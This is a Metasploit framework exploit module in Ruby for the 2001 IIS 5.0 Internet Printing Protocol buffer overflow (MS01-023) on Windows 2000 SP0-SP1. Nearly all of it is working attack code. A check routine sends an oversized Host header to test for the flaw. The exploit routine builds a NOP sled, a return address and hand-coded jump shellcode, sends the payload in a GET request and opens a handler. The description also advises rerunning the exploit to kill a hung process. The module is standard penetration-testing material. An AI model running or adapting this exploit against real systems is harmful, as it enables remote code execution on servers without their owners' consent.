metasploit-framework/modules/exploits/windows/iis/ms01_023_printer.rb

108 lines
2.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of
the Internet Printing Protocol ISAPI module in IIS. This
module works against Windows 2000 service pack 0 and 1. If
the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2001-0241'],
[ 'OSVDB', '3323'],
[ 'BID', '2674'],
[ 'MSB', 'MS01-023'],
[ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Windows 2000 English SP0-SP1',
{
'Platform' => 'win',
'Ret' => 0x732c45f3,
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'May 1 2001',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80)
], self.class)
end
def check
connect
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
if !(resp and resp =~ /Error in web printer/)
return Exploit::CheckCode::Safe
end
connect
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
resp = sock.get_once
disconnect
if (resp and resp =~ /locked out/)
print_status("The IUSER account is locked out, we can't check")
return Exploit::CheckCode::Detected
end
if (resp and resp.index("HTTP/1.1 500") >= 0)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
buf = make_nops(280)
buf[268, 4] = [target.ret].pack('V')
# payload is at: [ebx + 96] + 256 + 64
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
handler
disconnect
end
end